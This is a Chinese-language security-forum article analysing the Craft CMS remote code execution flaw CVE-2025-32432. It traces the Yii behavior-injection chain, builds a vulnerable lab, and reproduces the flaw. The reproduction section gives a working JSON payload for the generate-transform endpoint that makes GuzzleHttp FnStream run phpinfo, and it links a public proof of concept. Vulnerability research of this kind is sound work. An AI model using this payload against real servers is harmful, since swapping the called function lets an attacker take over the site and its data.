问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2025-32432:Craft CMS 远程代码执行漏洞
漏洞分析
近期,网络安全机构监测到针对Craft CMS内容管理系统的高危漏洞(CVE-2025-32432)的大规模攻击活动。攻击者通过远程代码执行(RCE)漏洞,已成功入侵全球数百台服务器,窃取敏感数据并部署后门程序。Craft CMS官方已将该漏洞标记为CVSS 10.0最高风险级别,并确认攻击代码(PoC)已在黑市传播,未修复系统面临极高威胁。
一、漏洞简介 ====== Craft CMS 是一个灵活、用户友好的内容管理系统,用于创建自定义的数字网络体验和其他体验。该漏洞CVSS评分高达10分,允许远程代码执行(RCE),起因是Craft CMS所依赖的Yii PHP框架存在缺陷,目前已有证据显示此漏洞正在被野外积极利用。漏洞源自上游Yii框架的问题(CVE-2024-58136),该问题已在 Yii 2.0.52 版本中修复。由于Craft CMS依赖Yii框架,因此在发布修补版本之前(即3.9.15、4.14.15和5.6.17之前的版本)均受此漏洞影响。攻击者可构造恶意请求利用generate-transform端点触发反序列化,执行任意代码,控制服务器。 二、影响版本 ====== - Craft CMS **3.x**:3.0.0至3.9.14 - Craft CMS **4.x**:4.0.0至4.14.14 - Craft CMS **5.x**:5.0.0至5.6.16 三、漏洞原理分析 ======== 先看一下补丁和原来的对比,漏洞文件在/src/controllers/AssetsController.php,出现漏洞的参数是handle,补丁的做法就是只运行handle是字符串类型  接下来,我们一步一步来拆解其中攻击流程,(PS:从第部分开始就涉及YII,不感兴趣可略过) 1.触发点:`actionGenerateTransform()`接口 -----------------------------------  - `$handle`从请求体获取,期望是字符串 - 实际上传递的是一个复杂的 JSON 对象结构,PHP 自动将 JSON 转成数组/对象 最后进入到getTransformIndex函数 2.进入 `getTransformIndex()` -------------------------- ```php public function getTransformIndex(Asset $asset, $transform): AssetTransformIndexModel { $transform = $this->normalizeTransform($transform); ... } ``` 这就进入了关键函数: 3. normalizeTransform($transform) --------------------------------- ```php if (is_array($transform)) { ... return new AssetTransform($transform); } ``` 可以看到最后构建一个实例,也就是说:传进来的 array 最终会用来 new 一个 `AssetTransform`对象, 而这个对象是有很多继承的 ```php class AssetTransform extends ActiveRecord ``` 而\*\* `ActiveRecord`的定义在 Yii 框架中(`yii\db\ActiveRecord`),它继承了: ```php class ActiveRecord extends Model ``` 再看 `Model`的定义(`yii\base\Model`): ```php class Model extends Component ``` 而 `Component`又继承自: ```php class Component extends BaseObject ``` 所以完整继承链是: ```php AssetTransform → yii\db\ActiveRecord → yii\base\Model → yii\base\Component → yii\base\BaseObject ``` 4.构造函数流程追踪 ---------- ```php new AssetTransform($transform); ``` 但是 `**AssetTransform**`**没有定义自己的构造函数**,所以它会调用父类的构造函数,最终追溯到 `BaseObject`: `yii\base\BaseObject::__construct()`  传进来的 `$transform`就是 `$config` 5.Yii::configure($object, $config) ---------------------------------- 再看 `Yii::configure()`源码:  这一步非常关键。它会将数组中每个键值对赋值为对象的属性,等价于: ```php $object->width = 123; $object->height = 123; $object->{'as session'} = [...]; ``` 在 Yii 中,`Component`(也就是 `AssetTransform`的第 3 个祖先)实现了行为系统:  当你传入 `as session`这样格式的键名时,Yii 会将它解释为一个行为(behavior),并调用: ```php $this->attachBehavior('as session', $behaviorConfigArray); ``` 而这个 `$behaviorConfigArray`就是我们构造的: ```php [ 'class' => 'craft\\behaviors\\FieldLayoutBehavior', '__class__' => 'GuzzleHttp\\Psr7\\FnStream', '__construct()' => [{}], '_fn_close' => 'phpinfo', ] ``` 6.最终触发点:`Yii::createObject()` ----------------------------- 在 `attachBehavior()` → `Yii::createObject()`中:  这里设置了: ```php [ 'class' => 'craft\\behaviors\\FieldLayoutBehavior', '__class__' => 'GuzzleHttp\\Psr7\\FnStream', '__construct()' => [{}], '_fn_close' => 'phpinfo' ] ``` 最终 Yii 使用 `class`值创建实例,并将整个数组作为构造参数传入,从而调用了恶意类 `GuzzleHttp\Psr7\FnStream::__construct()`,并设置 `_fn_close`字段。这个类的 `__destruct()`会执行 `_fn_close`字段,完成命令执行。 命令执行链 ```php actionGenerateTransform ↓ getTransformIndex ↓ normalizeTransform ↓ AssetTransform ↓ BaseObject::__construct($config) ↓ Yii::configure($this, $config) ↓ $this->{'as session'} = [behavior config] ↓ Component::attachBehavior() ↓ Yii::createObject($config) ↓ new GuzzleHttp\Psr7\FnStream(...) ↓ 设置 _fn_close = phpinfo ↓ FnStream::__destruct() ↓ phpinfo() 被执行 ``` 四、环境搭建 ====== ubuntu 20.4 1. 安装必要的依赖 ---------- ```php apt-get install apache2 mariadb-server php php-cli libapache2-mod-php php-common php-json php-curl php-gd php-imagick php-json php-mbstring php-mysql php-pgsql php-zip php-intl php-xml -y ``` 安装所有软件包后,编辑 PHP 配置文件并更改默认设置,注意这里需要注意安装的是php版本是7.4,这里 ```php gedit /etc/php/7.4/php.ini ``` 填入以下设置 ```php memory_limit = 512M post_max_size = 32M upload_max_filesize = 32M max_execution_time = 360 ``` 重启Apache ```php sudo systemctl restart apache2 ``` 2. 配置 MySQL 数据库 --------------- 登录MariaDB shell ```php mysql ``` 在 MySQL 提示符下执行: 创建用户 ```php MariaDB [(none)]> CREATE DATABASE craft; MariaDB [(none)]> GRANT ALL ON craft.* TO 'craftuser' IDENTIFIED BY 'password'; MariaDB [(none)]> FLUSH PRIVILEGES; MariaDB [(none)]> EXIT; ``` 3. 安装 Craft CMS 易受攻击版本 ---------------------- 先安装Composer 使用这个来安装Craft CMS ```php curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer ``` 打开放代码的地方 ```php cd /var/www/html ``` 这里需要注意一个点Craft CMS 有3.x和4.x,5.x版本的,每个版本需要更高一点的php版本的配置,php7.4只适配3.x的。所以这里我们直接使用Composer下载指定版本的3.x的Craft CMS,直接下载3.9.14版本的Craft CMS ```php composer create-project craftcms/craft:3.9.14 /var/www/html/craftcms ``` 我最开始是下载到了最新版的,然后修改composer.json下改成3.9.14,在执行命令 composer update  注意这部分代码执行在项目的根目录下 在正确安装之后,就可以自动配置有关数据库的内容,设置一下之前设置的数据库用户名和密码,email随便填一个 ```php Which database driver are you using? (mysql or pgsql) [mysql] Database server name or IP address: [127.0.0.1] Database port: [3306] Database username: [root] craftuser Database password: Database name: craft Database table prefix: Testing database credentials ... success! Saving database credentials to your .env file ... done Install Craft now? (yes|no) [yes]:yes Username: [admin] admin Email: [email Password: Confirm: Site name: CraftCMS Site Site URL: http://craftcms.example.com Site language: [en-US] > add foreign key fk_rlbmgnhpxsljkaunjwnsezfrnrkhwzpthfsq: {{%widgets}} (userId) references {{%users}} (id) ... done (time: 0.035s) > populating the info table ... done > saving default site data ... done > saving the first user ... done *** installed Craft successfully (time: 5.449s) ``` 为 Craft CMS 目录分配正确的权限和所有权: ```php sudo chown -R www-data:www-data /var/www/html/craftcms/ chmod -R 755 /var/www/html/craftcms/ ``` 为 Craft CMS 创建 Apache 虚拟主机 ```php sudo gedit /etc/apache2/sites-available/craftcms.conf ``` ```php <VirtualHost *:80> ServerAdmin [email DocumentRoot /var/www/html/craftcms/web ServerName craftcms.example.com <Directory /var/www/html/craftcms/web/> Options FollowSymlinks AllowOverride All Require all granted </Directory> ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined <Directory /var/www/html/craftcms/web/> RewriteEngine on RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*) index.php [PT,L] </Directory> </VirtualHost> ``` 保存并关闭文件并使用以下命令激活 Apache 虚拟主机和重写模块,然后重新启动 Apache 服务以应用更改:: ```php sudo a2ensite craftcms.conf sudo a2enmod rewrite sudo systemctl restart apache2 ``` 最后修改host加入 ```php 127.0.0.1 craftcms.example.com ``` 欧克  点击控制面板登录后就可以了,下方有版本号  五、漏洞复现 ====== 采用的POC可以在<https://github.com/Sachinart/CVE-2025-32432>获得 虽然是漏洞版本,但在实际运行过程中需要一个正确的assetId,这个assetId实际上是需要转换图片时所需要的图片实例对应一个整数,需要创建来进行使用,这个和漏洞关系不大,所以有关这个部分我们将其注释掉  修改/var/www/html/craftcms/vendor/craftcms/cms/src/controllers/AssetsController.php改成如下  然后在/var/www/html/craftcms/vendor/craftcms/cms/src/services/AssetTransforms.php 继续修改  修改成  然后使用火狐上的插件RESTED  相关参数: ```php http://craftcms.example.com/index.php?p=admin/actions/assets/generate-transform Content-Type application/json X-Csrf-Token 这个在登录界面查看源码获得 assetId 123(因为这个忽略了,就随便一个整数) handle {"width": 123,"height": 123, "as session": { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}} ``` 发送  =========================================================================================================== 六、总结 ==== 总体来说,这个漏洞确实很危险,利用也非常简单,因为是从零开始进行复现,缺乏一些实例搭建,在最后的复现中忽略掉了assetId,所以在实际情况并不能完全保证任何版本下都能成功,需要有这个参数。但总体的利用上是非常简单,但这个攻击方式比较复杂,官方在修复时也只是处理了相关的参数的判断,对于整个项目有可能依旧存在相同的问题。
发表于 2025-06-04 15:00:00
阅读 ( 472 )
分类:
CMS
1 推荐
收藏
0 条评论
请先
登录
后评论
cipher
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!